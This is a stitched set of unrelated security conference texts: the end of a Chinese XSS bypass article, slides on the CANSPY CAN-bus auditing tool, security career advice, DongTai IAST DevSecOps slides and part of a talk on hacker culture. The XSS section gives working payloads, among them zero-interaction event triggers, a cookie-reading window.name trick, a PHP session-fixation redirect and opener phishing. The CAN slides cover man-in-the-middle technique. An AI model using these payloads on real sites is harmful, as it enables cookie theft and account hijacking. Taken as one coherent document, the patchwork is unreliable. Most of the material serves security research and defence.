4.2 jquery工厂函数
jquery的工厂函数$()需要传入的是一个完整的html标签
它会自动的构造起里面的标签,并且执行里面的代码
如果我们使用了$(location.hash)就缩短了非常多的长度
做一个小小的测试
使用的payload是这样的
<iframe src="http://127.0.0.1/q.php?x=1%22onfocus=$(window.name)//" name="<img src='#' onerror=alert(document.cookie) />" width="100%"
height="100%" />
也能够成功的执行了代码,而且进一步缩短了payload的长度
4.3 使用短域名
曾经wooyun上的一篇文章有提到过这个问题,在payload长度相同的情况下,谁的域名越短
谁就拥有了先天的优势。
比如一些物理单位符号,可以被合法的注册,而且会被自动解析到对应的英文域名
包括之后出现的一些韩语域名,emoji域名,也许都可以用来缩短我们的payload长度
#5 构造无需交互的payload&绕过事件过滤
之所以单独的将这一问题单独列出来,是因为虽然很多时候我们确实证明了某个输出点有xss漏洞
但一个需要用户交互较少的xss payload 才称得上足够有效
但是大多数时候,能够使用的事件都被过滤了
因此,如果我们的payload还需要用户做大量的点击拖拽等操作(click jacking除外)
那完全称不上足够有效
当然最好就是无需交互,那么就让我们来看一看怎么构造出无需交互的payload
5.1 onerror/onload 事件
两个事件是最容易触发,而且无需交互的
比如如下的payload
<svg/onload=alert(1)>
<img src="#" onerror=alert(1) />
但是这两个事件太常见了,非常容易就遭到了过滤
而且也有相当一部分标签不支持onerror等事件
5.2 onfocus与autofocus
对于<input>等标签来说,onfocus事件使他们在获得焦点时
而autofocus则会让他们自动获得焦点
因此,很容易利用这个构造出如下的payload,使他们自动获得焦点并触发事件执行js
1"%20autofocus%20onfocus=alert(1)//
完整的html标签是这样的
<input value="1" autofocus onfocus=alert(1)// >
可以自动的触发我们的payload
那么如果我们的onfocus属性也被过滤掉了呢?
5.3 onblur与autofocus
onblur是标签失去焦点时引发的事件,那么你可能就会问了
这和我无需交互的payload有什么关系呢
很简单,我们来看看怎么样让标签'自动'失去焦点
(1)在稍早版本的chrome中
我们构造如下payload
x=1"><input%20onblur=alert(1)%20autofocus><input%20autofocus><input%20autofocus>
有好几个标签来'竞争' autofocus的焦点,那么 只要我们的第一个带有onblur事件的input,在获得焦点后,又因为竞争而失去焦点的话,就可以触发这个payload了
(2)在最新版本中
由于上一个payload已经无法正常工作了,但是我们仍然能够通过
x=1"><input%20onblur=alert(1)%20autofocus>
来构造一个需要较少交互的xss向量
用户只要随意点击窗口里的任意一个地方就会触发我们的payload
但是非常多其他标签似乎无法触发onfocus,更不要说autofocus了
5.4 <details>标签的ontoggle事件
如果大部分常见事件都被过滤掉了,我们仍然有办法来构造一个无需交互的xss向量
这就是<details>标签的ontoggle属性,它会在自身的open属性不为空时触发
构造如下payload
x=1"><details%20open%20ontoggle="alert(1)">
在chrome最新版本中有效
5.5 flash-xss的自动触发
在之前的chrome auditor bypass中,它似乎非常鸡肋
但是在存储型xss和其他浏览器的场景下,用它可以构造非常有效的攻击向量
payload构造如下
x=1"><embed+type="application/x-shockwave-flash"+allowscriptaccess=always+src=https://www.math1as.com/3.">
最新版chrome/firefox均有效
5.6 任意标签的自动触发
那么如何实现任意标签的自动触发这一目标呢
这里只简单的讲一个技巧
可以用任意脚本构造出无需交互的payload
如我们所知,有很大一部分标签是"不响应"onfocus事件的
你用鼠标移动上去,他没有任何的反应
但事实上,真的如此么?
我们试着给它添加一个tabindex属性
然后为它设置id=1
最后用location.hash来定位到id=1的锚点,就可以让他获得焦点
这里我们用一个不存在于标准里的标签<hero>来测试
构造如下payload
x=1"><hero%20id="1"%20tabindex="0"%20onfocus=alert(1)>#1
对应的标签是
<hero id="1" tabindex="0" onfocus=alert(1)>
于是,我们就获得了一个构造任意标签的自动触发payload的方法。
#6 CSP Bypass
CSP(内容安全策略)也是目前现代浏览器越来越重要的一种限制XSS的手段
关于如何对它进行绕过,具体参见我的文章《初探CSP Bypass 一些细节总结》
#7 XSS tricks
虽然有时候我们不一定能够通过标签和脚本的写入来实现一个xss
但是有时候一些奇思妙想也可以让我们简介的实现目标
7.1 firefox <50.02跨域问题
这个漏洞出现在firefox的如下版本
可以产生一个固定会话漏洞
在服务器上把/test urlrewrite到 /xss/ff.php
在ff.php则用302将浏览器重定向到一个dataURL
<?php
$key="hehe";
$val="tester";
header("Location: data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><circle r='100'></circle><foreignObject><html
xmlns='http://www.w3.org/1999/xhtml'><meta http-equiv='Set-Cookie' content='$key=$val'/></html></foreignObject></svg>");
?>
然后在受害者访问的网站里插入<img src="//xss.com/test" />
访问后受害者的cookie被设置为hehe=tester 产生了一个固定回话漏洞
此时如果受害者尝试进行登陆,我们随后就可以用这个被认证了的cookie以用户身份使用其账号
因为chrome不允许302跳转到base64链接(如图)
所以只能在firefox下使用这个攻击手法
而且大部分网站的富文本编辑器都允许插入一张图片
因此危害还是比较大的。
7.2 利用 opener进行钓鱼
在js中可以使用window.opener (也就是当前window的父窗体)来访问到打开本窗体的页面
比如我的chrome有两个标签页,从a标签页打开了b,那么b就可以通过window.opener.location
反过来控制a标签页的地址
虽然很明显的,浏览器不允许其跳转到一个javascript地址,但是却可以跳转到一个dataURL
因此我们可以伪造一个a标签页对应网站的登陆页面,让用户以为是自己掉线了
从而实现钓鱼的功能。
#8 结语
通过本文对XSS的各类应用场景进行探讨,以笔者有限的能力剖析了一些业务场景
分析了一部分具体的xss payload和目前存在的主流绕过方法。
希望能够通过这篇文章,起到抛砖引玉的效果。
#9 参考
[1] https://html5sec.org/xssauditor/bypasses-052016
[2] https://insert-script.blogspot.co.at/2016/12/firefox-svg-cross-domain-cookie.html | pdf |
This document and its content is the property of Airbus Defence and Space.
It shall not be communicated to any third party without the owner’s written consent. All rights reserved.
CANSPY
a Platform for Auditing CAN Devices
Arnaud Lebrun
Jonathan-Christofer Demay
2
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
Auditing conventional IT systems
• Penetration testing
• A form of security audit
• Assess the risks of intrusion
• Actual tests instead of a review process
• The point of view of a real attacker (the “black-box” approach)
• Relevant evaluation of impact and exploitability
• Limitations
• Less time
• Less resources
• More ethics
• Counter-measure: the “grey-box” approach
3
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
The CISO’s dilemma
• The hand they are dealt with
• Huge scope of responsibility
• Continuous changes
• Major security threats
• Risk of substantial damages
• Limited budget
• Their response
• They rely on penetration testing
• They welcome the “gray-box” approach
• They rely on risk analysis first and foremost
• They divide perimeters accordingly
4
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
What about car manufacturer ?
• They are starting to include cyber-security along with
conventional safety
• A lot of new functionalities
• Using more complex software
• Also, security researchers…
5
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
What about car manufacturer ?
• They are starting to include cyber-security along with
conventional safety
6
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
What about car manufacturer ?
• They are starting to include cyber-security along with
conventional safety
7
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
What about car manufacturer ?
• They are starting to include cyber-security along with
conventional safety
8
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
What about security audit for cars ?
• The same approach can be applied
∙ While True
∙ Conduct risk analysis
∙ Prioritize ECUs
∙ Conduct penetration tests accordingly
∙ Carry out corrective actions
∙ End While
• Some ECUs can be common to several vehicles
• Corrective actions may be difficult to carry out
9
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
It always begins with…
• Consumer-grade connectivity
• Wi-Fi, Bluetooth and USB Nothing new here !
• However CAN sniffing is already useful for analysis
Infotainment and navigation
10
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
It always begins with…
• Mobile broadband connectivity
• Setting up an IMSI catcher and then…
• Deal with conventional protocols (TCP, HTTP, …) Again, nothing new here !
Infotainment and navigation
Seamless connectivity
11
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
It always begins with…
• CAN attacks
• Bypass CAN bus segmentation (architecture-dependant)
• Reverse-engineer higher-layer/custom protocols
• Break the Security Access challenge (ISO 14229)
Infotainment and navigation
Seamless connectivity
Other ECUs: steering, braking, etc.
12
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
CAN architectures
• One serial bus (to rule them all )
• ID-based priority mechanism
• Congestion issues
• Acknowledgment by anyone
ECU
CAN High
CAN Low
ECU
ECU
ECU
ECU
13
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
CAN architectures
• Multiple separate buses
• Some ECUs have to be connected to multiple buses
• They can be used to bypass the segmentation
ECU
CAN1 High
CAN1 Low
ECU
ECU
ECU
CAN2 High
CAN2 Low
ECU
14
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
CAN architectures
• Multiple interconnected buses
• A gateway is routing frames between CAN buses
• It may take into account the state of the vehicle
• Both safety and cyber-security can be considered
ECU
CAN1 High
CAN1 Low
ECU
Gateway
ECU
ECU
CAN2 High
CAN2 Low
15
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
Crafting CAN attacks
• Several attack vectors
• Misuse of intrinsic capabilities (e.g., remote diagnostic tool)
• Exploit a higher-level parsing vulnerability
• Break the Security Access challenge
• Etc.
• This will imply a substantial amount of work
• Unsolder EEPROM or identify on-chip debug (JTAG/BDM) and
conventional debug (UART/WDBRPC) interfaces
• Extract the firmware
• Reverse-engineer the aforementioned items
• Craft actual attacks
16
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
The Man In The Middle
• Taking advantage of the client-server model
• Insert yourself in-between them
• Do not alter traffic until you see something interesting
• Then start to drop/alter/replay/…
• Finalize with targeted reverse-engineering
• In theory, this is transposable to the CAN bus
• We are auditing one device
We could proxy the traffic from and to that device
• We are working with the car manufacturer
We can ask for a restricted devices (e.g., a remote diagnostic tool)
This is limited by third-parties intellectual properties
17
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
However, in practice…
• CAN is a serial bus
• Physically cut the bus and insert yourself in-between
• Forward traffic between the split parts
• Etc.
• 2 possible options (other than deep diving into the car)
• Emulate the car from the point of view of the audited device
• Use an integration bench provided by the car manufacturer
ECU
CAN High
CAN Low
ECU
ECU
ECU
MITM
18
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
However, in practice…
• CAN is a serial bus
• Physically cut the bus and insert yourself in-between
• Forward traffic between the split parts
• Etc.
• 2 possible options (other than deep diving into the car)
• Emulate the car from the point of view of the audited device
• Use an integration bench provided by the car manufacturer
ECU
CAN High
CAN Low
ECU
ECU
ECU
MITM
19
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
What about existing (open-source) tools ?
• CAN was designed to meet timing constraints
• Bridging two devices could add high latencies
• Slow Arduino-like microcontrollers will drop frames
20
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
What about existing (open-source) tools ?
• CAN was designed to meet timing constraints
• Bridging two devices could add high latencies
• Slow Arduino-like microcontrollers will drop frames
• UART (over USB) is a bottleneck
• The default is usually 115 200 bauds (and even at max speed it is limiting)
• CAN buses can go as far as 1Mbit/s (OBD-II is 250 or 500 Kbit/s)
• We need two of them (cf. timing constraints)
21
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
What about existing (open-source) tools ?
• CAN was designed to meet timing constraints
• Bridging two devices could add high latencies
• Slow Arduino-like microcontrollers will drop frames
• UART (over USB) is a bottleneck
• The default is usually 115 200 bauds (and even at max speed it is limiting)
• CAN buses can go as far as 1Mbit/s (OBD-II is 250 or 500 Kbit/s)
• We need two of them (cf. timing constraints)
• Lack of a mature framework
• We get frustrated when we cannot use Scapy
• Federate higher-layers reverse-engineering efforts
22
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
CANSPY objectives
• Two dedicated CAN interfaces
• Using independent CAN cores
• With the ability to manipulate acknowledgments
• Frame forwarding w/ or w/o filtering
• Low latencies (even with filtering)
• At the full data rate of the CAN standard
• Sniffing and injection capabilities
• CAN interfaces Ethernet (with Wireshark dissector compatibility)
• CAN interfaces UART (mostly for setting/debugging purposes)
• PCAP and settings read/write from SD card (autonomous mode)
• Configurable settings via Ethernet (fully scriptable)
23
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
CANSPY hardware
• STM32F4DISCOVERY board
• 168 MHz 32bit ARM Cortex M4
• COTS ($20)
24
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
CANSPY hardware
• STM32F4DISCOVERY board
• 168 MHz 32bit ARM Cortex M4
• COTS ($20)
• STM32F4DIS-BB extension board
• 1 RS232 interface
• 1 Ethernet port
• 1 SD card drive
• COTS ($40)
25
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
CANSPY hardware
• STM32F4DISCOVERY board
• 168 MHz 32bit ARM Cortex M4
• COTS ($20)
• STM32F4DIS-BB extension board
• 1 RS232 interface
• 1 Ethernet port
• 1 SD card drive
• COTS ($40)
• DUAL-CAN extension board
• Configurable resistors, power supplies and circuit grounds
• 2 CAN interfaces and easy to build
• Custom-made ($30 worth of PCB and components)
26
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
CANSPY firmware
High-priority cyclic executive
for synchronous services
Low-priority cyclic executive
for asynchronous services
Non-preemptive priority scheduler
Service
Service
Service
Device handler
Service
Service
Service
Device handler
Service
Service
Service
Device handler
Device driver
Transmit buffer
Transmit buffer
Transmit buffer
Device driver
Device driver
Hardware Abstraction Layer
Receive buffer
Receive buffer
Receive buffer
Mutex
Mutex
Mutex
https://bitbucket.org
/jcdemay/canspy
27
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
CANSPY firmware
• Event-driven scheduler
• Asynchronous I/O operations
• Low latency processing
• 1 functionality == 1 service
• Start only what you need
• Read from all devices, write to only one
• Mutual exclusion is possible
• Autonomous mode
• In-built filtering/altering engine
• SD card for read or write operations
• Power supply from the car battery
• Real-time approach
• Open source licensed
• Built-in services
• CAN: Forward/Filter/Inject
• Ethernet: Wiretap/Bridge
• SDCard: Capture/Replay/Logdump
• UART: Monitor/Logview/Shell
• CAN devices
• Two independent handlers
• Support all standard speeds
• Throttling mechanisms
28
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
Handling congestion issues
• MITM setups can tamper with congestion
• Filtering or dropping will modify the available bandwidth
• ECUs behavior may thus be impacted
• Two possible throttling mechanisms
• Dummy frame injection
• Delaying acknowledgments
ECU
CAN High
CAN Low
ECU
ECU
ECU
MITM
29
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
CAN over Ethernet
• The SocketCAN format
• Ethertype 0x88b5
• Different MAC addresses
• Acknowledgments
30
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
CAN over Ethernet
• The SocketCAN format
• Ethertype 0x88b5
• Different MAC addresses
• Acknowledgments
class SocketCAN(Packet):
name = "SocketCAN"
fields_desc = [
BitEnumField("EFF", 0, 1, {0:"Disabled", 1:"Enabled"}),
BitEnumField("RTR", 0, 1, {0:"Disabled", 1:"Enabled"}),
BitEnumField("ERR", 0, 1, {0:"Disabled", 1:"Enabled"}),
XBitField("id", 1, 29),
FieldLenField("dlc", None, length_of="data", fmt="B"),
ByteField("__pad", 0),
ByteField("__res0", 0),
ByteField("__res1", 0),
StrLenField("data", "", length_from = lambda pkt: pkt.dlc),
]
def extract_padding(self, p):
return "",p
bind_layers(Ether, SocketCAN, type=0x88b5)
31
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
CAN over Ethernet
• The SocketCAN format
• Ethertype 0x88b5
• Different MAC addresses
• Acknowledgments
class SocketCAN(Packet):
name = "SocketCAN"
fields_desc = [
BitEnumField("EFF", 0, 1, {0:"Disabled", 1:"Enabled"}),
BitEnumField("RTR", 0, 1, {0:"Disabled", 1:"Enabled"}),
BitEnumField("ERR", 0, 1, {0:"Disabled", 1:"Enabled"}),
XBitField("id", 1, 29),
FieldLenField("dlc", None, length_of="data", fmt="B"),
ByteField("__pad", 0),
ByteField("__res0", 0),
ByteField("__res1", 0),
StrLenField("data", "", length_from = lambda pkt: pkt.dlc),
]
def extract_padding(self, p):
return "",p
bind_layers(Ether, SocketCAN, type=0x88b5)
#wireshark -X lua_script:ethcan.lua
local sll_tab =
DissectorTable.get("sll.ltype")
local can_hdl =
sll_tab:get_dissector(0x000C)
local eth_tab =
DissectorTable.get("ethertype")
eth_tab:add(0x88b5, can_hdl)
32
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
The OBD-II use case
• No need to physically cut anything
• Buy a Goodthopter-compatible OBDII-to-DB9 cable
• Build its female counterpart ($10 worth of components)
• Setup the DUAL-CAN extension properly
• Have fun
• Several interesting cases
• Professional/consumer car diagnostic tools
• Usage-based policies from insurance companies
• Air-pollution control from law enforcement
• They expose sensitive networks/hosts
DO TRY THIS
AT HOME
33
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
Demonstration bench
Man-In-The-Middle
Emulated ECUs
OBD2 Device
OBD2 Diagnostics
Emulated ECUs
MITM
CAN1
CAN2
ETH
34
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
Demonstration bench
OBD2 Diagnostics
Emulated ECUs
MITM
CAN1
CAN2
ETH
Start of
emulation
Start of
filtering (frame modification)
35
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
Demonstration bench
OBD2 Diagnostics
Emulated ECUs
MITM
CAN1
CAN2
ETH
• What about buffer overflows ?
• ISO-TP layer provided for Scapy
• Identify fragmented responses
• E.g., VIN request (17 ASCII characters)
• Increase response length
• Debug and exploit
• We need more Scapy layers !
• For documented standards (e.g., SAE J1939)
• For proprietary standards (i.e., reversing…)
36
Arnaud Lebrun
Jonathan-Christofer Demay
CANSPY
a Platform for Auditing CAN Devices
Thank you for
your attention
https://bitbucket.org/jcdemay/canspy | pdf |
Managing Your Own Security Career
Mike Murray & Lee Kushner
[email protected] [email protected]
How to be happy, challenged and well-compensated
Who Are We?
✴ Lee Kushner
✴ Over 10 years of Success Recruitment of Information Security Professionals
✴ Founder and CEO of the Leading Information Security Recruitment Firm, LJ
Kushner and Associates LLC
✴ Wide Range of Nationally Based Clients from Fortune 500s to security product
vendors
✴ Mike Murray
✴ Security professional with a decade of experience, currently Director of
Neohapsis Labs
✴ Security blogger (Episteme.ca) specializing in talking about security careers,
author of the book “Forget the Parachute, Let Me Fly the Plane”
✴ Has managed security teams and helps people working with him develop the
career that they really want to have.
✴ Different perspectives on Careers
Outline
✴ Introduction
✴ Do you want a career or just a job?
✴ Your Career Path
✴ Taking Ownership
✴ Nobody’s going to do it for you
✴ Personal Branding and Networking
✴ Making the Most of Your Current Role
✴ Good vs. Bad Reasons to Change Jobs
✴ When it’s really time for a change...
Your Career Path
✴ What does a security career look like?
✴ Is it really different than a normal IT
career?
✴ Hint: the answer is yes.
✴ What are your short term goals?
✴ What are your long term goals?
✴ Building a career path
✴ Quote: “No plan survives...”
Owning Your Career
✴ Nobody’s going to do this for you.
✴ It’s not your boss’ job.
✴ Taking stock of your own skills.
✴ How to be honest with yourself.
✴ How do those skills match up...
✴ To what you want to do now?
✴ To your short and long term goals?
✴ How can you fill those gaps?
Your Personal Brand
✴ Personal Branding is such a cheesy
term
✴ But it’s the most important thing you can do.
✴ How do you create a brand?
✴ Play the “Word Association” game
✴ Your brand comes from.... PEOPLE
✴ Building a network of the right people
✴ Ultimately, the network IS your brand.
✴ How to make friends.
Making the Most of Where You Are
✴ Your current job is the best one you
have...
✴ It’s always easier to stay where you are... make the
best of it.
✴ Seeing the silver lining
✴ And polishing it daily.
✴ Can you move around?
✴ Making Something out of Nothing
✴ Building your brand internally.
Good vs. Bad Reasons to Change Jobs
✴ There are 3 good reasons:
✴ Life changes
✴ Career changes
✴ Organizational changes
✴ In General, other reasons are bad ones.
✴ How much job change is too much?
If it’s really time to change...
✴ Focus on your path
✴ Remember your goals and where you want to go
✴ Think one position ahead
✴ Educate yourself
✴ Talk to people who can help - find good advice
✴ When should you take a detour?
✴ Investing in yourself
✴ The Nitty-Gritty
✴ Salaries, Resumes and Interviews (Oh, My)
Free Gifts
✴ Mike wrote a book last year
✴ Inspired by the plight of frustrated security
professionals
✴ Not enough people have the job they love.
✴ Free copy of the e-book
http://www.ForgetTheParachute.com/defcon
Questions?
Mike Murray & Lee Kushner
[email protected] [email protected]
Reminder: Download your free copy of Mike’s ebook:
http://www.ForgetTheParachute.com/defcon | pdf |
洞态IAST与黑盒、白盒
共建DevSecOps
01
02目录
1> IAST检测原理
2> 洞态IAST架构设计
3> 灰盒、黑盒、白盒共建DevSecOps
4> 部署与落地
IAST检测原理
03
03 IAST检测原理
IAST(Interactive AST,交互式扫描器)高频、高效、无脏数据
应用运行
态分析
污点跟
踪算法
准确率高
效率高
无脏数据*
原理
效果
覆盖度完整
03 IAST检测原理 污点跟踪算法
不可信数据采集
不可信数据预处理
不可信数据传播图
数据调用链路查找
decode
id
_jspService
put
id
id
getParameter
exec
cmd->id
decode
_jspService
put
id
getParameter
exec
cmd->id
id
id
decode
_jspService
put
id
getParameter
exec
cmd->id
id
id
decode
_jspService
put
id
getParameter
exec
cmd->id
id
id
洞态IAST架构设计
04
04洞态IAST架构设计
整体架构
类型
架构
分析
一般IAST
重Agent端+轻服务端
数据监听和漏洞检测全部在Agent端完成。
1.需频繁升级Agent端;
2.未检测出漏洞的Agent端数据直接丢弃,若产品检测能
力升级,需联系功能测试团队重新发起测试;
3.无法实现跨请求关联分析。
洞态IAST
轻Agent端+重服务端
Agent端仅实现数据监听,漏洞检测全部在
服务端完成
1.Agent端代码和逻辑简单,单点故障率更低,极少升级;
2.所有数据保存在服务端,可在服务端直接进行回归测试;
3.服务端可动态加载检测引擎,并可实现跨请求关联分析。
更低的使用成本及更强大的检测能力
04洞态IAST架构设计
部署架构
灰盒、黑盒、白盒共建
DevSecOps
05
共建DevSecOps
什么是DevOps
从字面上来理解,DevOps 只是Dev(开发人员)+Ops
(运维人员),实际上,它是一组过程、方法与系统的统称
DevOps目前并没有权威的定义,DevOps 强调的是高效组
织团队之间如何通过自动化的工具协作和沟通来完成软件的
生命周期管理,从而更快、更频繁地交付更稳定的软件。
共建DevSecOps
安全如何更好的加入
DevOps并非旨在以牺牲安全性为代价来最大化速度;
安全去适应特性:简单、快捷、持续
在CI-自动化测试环节引入安全检查(Sec)
Sec嵌入流程
安全不是流程的关卡而是齿轮,串联起整个生命周期
共建DevSecOps
IAST在DevSecOps中是如
何工作的
方式一:先白盒审计,覆盖率高,后灰盒接入,
初步解决误报问题,黑盒针对性扫描再次确认,避免脏数据
与性能压力,最终上报,人工确认
方式二:若不介意性能压力问题,三者同时进行,三
者结果匹对,最终上报,人工处理
自动化测试+灰盒
白盒代码检查
代码构建
黑盒漏扫
本地功能开发
发送通知
上线
上传结果
PR
MR
CI流程
CI流程
GitHub Action
DevOps
人工验证
共建DevSecOps
持续提升IAST检测能力
灰盒做 DevOps 中的同步检测,
黑盒、白盒做旁路检测/辅助检测,
持续运营,提升 IAST 的检测能力,
实现自动化的检测并保证检出率、准确率
DevSecOp
s
灰盒
黑盒
白盒
部署与落地
06
06 部署与落地
洞态IAST部署
Server端部署
Agent端部署
•
docker
•
K8s – Manifest
•
K8s - helm
•
Base Docker Image
•
K8s initContainer
洞态IAST官方文档:https://doc.dongtai.io/zh/
06 部署与落地
DongTai-Agent-Java 如何集成到 DevOps
洞态IAST官方文档:https://doc.dongtai.io/zh/
Java Agent 在 GitHub Action 及 DevOps 流程中的建议启动命令:
java -javaagent:/path/to/agent.jar -Dproject.create=true -
Dproject.name=WebGoat -Dproject.version=8.2 -Dresponse.length=1000 -
Diast.server.mode=local -jar app.jar
需求:
在每次提交代码时,自动将靶场的测试数据存入特定的项目、
特定的版本中,方便直接根据项目及版本进行数据的对比分析。
06 部署与落地
同程IAST的推广
发挥安全的主动性,主动去贴合业务流程
培训和文章推广:在公司内部开展周期性的安全培训和
安全发文,介绍IAST;
根据发现的安全事件,主动推动和提供给业务线安全能
力;
与测试团队合作,推动SDL安全能力融入测试流程;
提问环节
提问环节 | pdf |
最近在研究关于聊天软件的一些信息获取。
对于微信来说获取个人信息就是读取内存中的字符串,这些字符包括电话、数据库key、username、
wxid等等,但是微信不同的版本字符串在内存中的位置不一样,也就是偏移不一样,看之前的 BIOPASS
RAT ,它的微信模块定位使用版本号,不同版本号的偏移不一样。
艹老师说这种方式太麻烦了,微信每更新一个版本就得更新偏移。于是,我研究了根据微信特定数据结
构定位的方式,这种方式可以全版本通用。
定位
因为我的主要目的是获取数据库的key,通过看雪的这篇文章
https://bbs.pediy.com/thread-251303.htm
可以得到我的key
地址是 14DA32A0
打开CE搜索这个地址会得到一个基址
0xE0,0xF6,0x79,0x4E,0x14,0xE9,0x41,0x02,0x99,0xD4,0x0C,0x40,0xFD,0x29,0x57,0x2F,
0x5A,0x19,0x84,0xFD,0x06,0xBE,0x4A,0xBF,0x82,0xBE,0xAE,0xC7,0x61,0x94,0xD2,0xD1
在x32dbg定位到这个地方
这个基址不仅保存了数据库key的地址,还有wxid的地址,在往上可以翻到头像地址、username、手机
号等等信息。
说明这是微信中一个保存个人信息的全局变量的地方,那么只需要找可以明显定位到这里的机器码或字
符串就可以了,这个可能需要不同微信版本反复测试,我比较懒,找了一个比较明显的字符串。
在往下滑可以看到公钥和私钥
而 -----BEGIN PUBLIC 就是一个很明显的特征。
代码
于是根据这个思路编写代码,先寻找 -----BEGIN PUBLIC 字符串的地址,再反向搜索这个地址的地址,为
简单称这个地址为地址2吧。然后地址2要大于 WeChatWin.dll 的基址。
我们就能定位到上图中 7A05201C 的地方。然后以这个地方为原点,向上或向下取偏移获取数据,就能
得到个人信息的数据了。
这里给出我定位的数据结构偏移
手机型号
$-C 文本长度
$-1c地址
读wxid
$-44 文本长度
$-54 地址指针
读微信昵称
$-5c 文本长度
$-6c 地址
头像地址
$-1a8 地址指针
$-198 长度
$-190 地址指针
$-180 长度
手机号
$-43c 地址
$-42c 长度
公钥
$ 文本指针地址
$+10 长度
私钥
$+18 文本指针地址
$+28 长度
数据库
$-90 数据库密钥指针地址
$-8c 指针长度
用易语言简单实现的demo
程序运行截图
测试微信全版本都可以使用。 | pdf |
defcon xv
defcon xv
hacker culture
around
the (corporate)
world
hacker culture
around
the (corporate)
world
luiz eduardo
luiz eduardo
defcon xv
defcon xv
hi
hi
… networking guy
… security guy
… works for mu security
… wlan at security cons
… regular speaker at security
cons
… defcon networking goon
… founder of dc55.org
… networking guy
… security guy
… works for mu security
… wlan at security cons
… regular speaker at security
cons
… defcon networking goon
… founder of dc55.org
defcon xv
defcon xv
disclaimer
disclaimer
… everything on this presentation is
based on my own (sometimes, sick)
thoughts
… nothing here is based on my
current employer thoughts, neither
endorsed by them, other than
actually allowing me to be here
… and…. don’t believe anything i say
(bruce potter tm)
… everything on this presentation is
based on my own (sometimes, sick)
thoughts
… nothing here is based on my
current employer thoughts, neither
endorsed by them, other than
actually allowing me to be here
… and…. don’t believe anything i say
(bruce potter tm)
defcon xv
defcon xv
why?
why?
… although the hacker community (in
general) has the same goals,
external factors actually
contribute to make reality
interestingly different sometimes
… this actually bugged me…. along
with…
… the need for security awareness to
grow due to everyone using the
internet +
… the whole corporate world… so…
… although the hacker community (in
general) has the same goals,
external factors actually
contribute to make reality
interestingly different sometimes
… this actually bugged me…. along
with…
… the need for security awareness to
grow due to everyone using the
internet +
… the whole corporate world… so…
defcon xv
defcon xv
look around you
look around you
… in security events you see people w/ different goals
… in hacker conferences you see people w/ different
goals
… the growth in the number of insecure people
… people have access to stuff they don’t know, what’s
new? but….
… god knows what some it folks think about security
… you’ve already seen insecure people influencing (or
trying to) security people
… some of the “security professionals” don’t believe in
hackers, they just believe in procedures, and
ignoring security issues is “better”
… some of these same douche bags don’t acknowledge some
security risks and don’t believe the internet is
actually gonna stop one day
… in security events you see people w/ different goals
… in hacker conferences you see people w/ different
goals
… the growth in the number of insecure people
… people have access to stuff they don’t know, what’s
new? but….
… god knows what some it folks think about security
… you’ve already seen insecure people influencing (or
trying to) security people
… some of the “security professionals” don’t believe in
hackers, they just believe in procedures, and
ignoring security issues is “better”
… some of these same douche bags don’t acknowledge some
security risks and don’t believe the internet is
actually gonna stop one day
defcon xv
defcon xv
differences/
problems/ issues
differences/
problems/ issues
… geo-location
… cultural background
… liberty of speech
… politics
… $
… security world (as a whole)
… the world as a whole, for that
matter
… insecure people
… different law systems / different
law enforcement systems
… geo-location
… cultural background
… liberty of speech
… politics
… $
… security world (as a whole)
… the world as a whole, for that
matter
… insecure people
… different law systems / different
law enforcement systems
defcon xv
defcon xv
cultural differences
cultural differences
… working/ researching alone or in
groups
… computer clubs/ foundations/ etc
… formal and informal meetings
… the law/ use of “hacking” tools
… the “hackers vs. security
professional” thingy
… the academic vs. security
professional
… transfer of information/ media/
internet
… working/ researching alone or in
groups
… computer clubs/ foundations/ etc
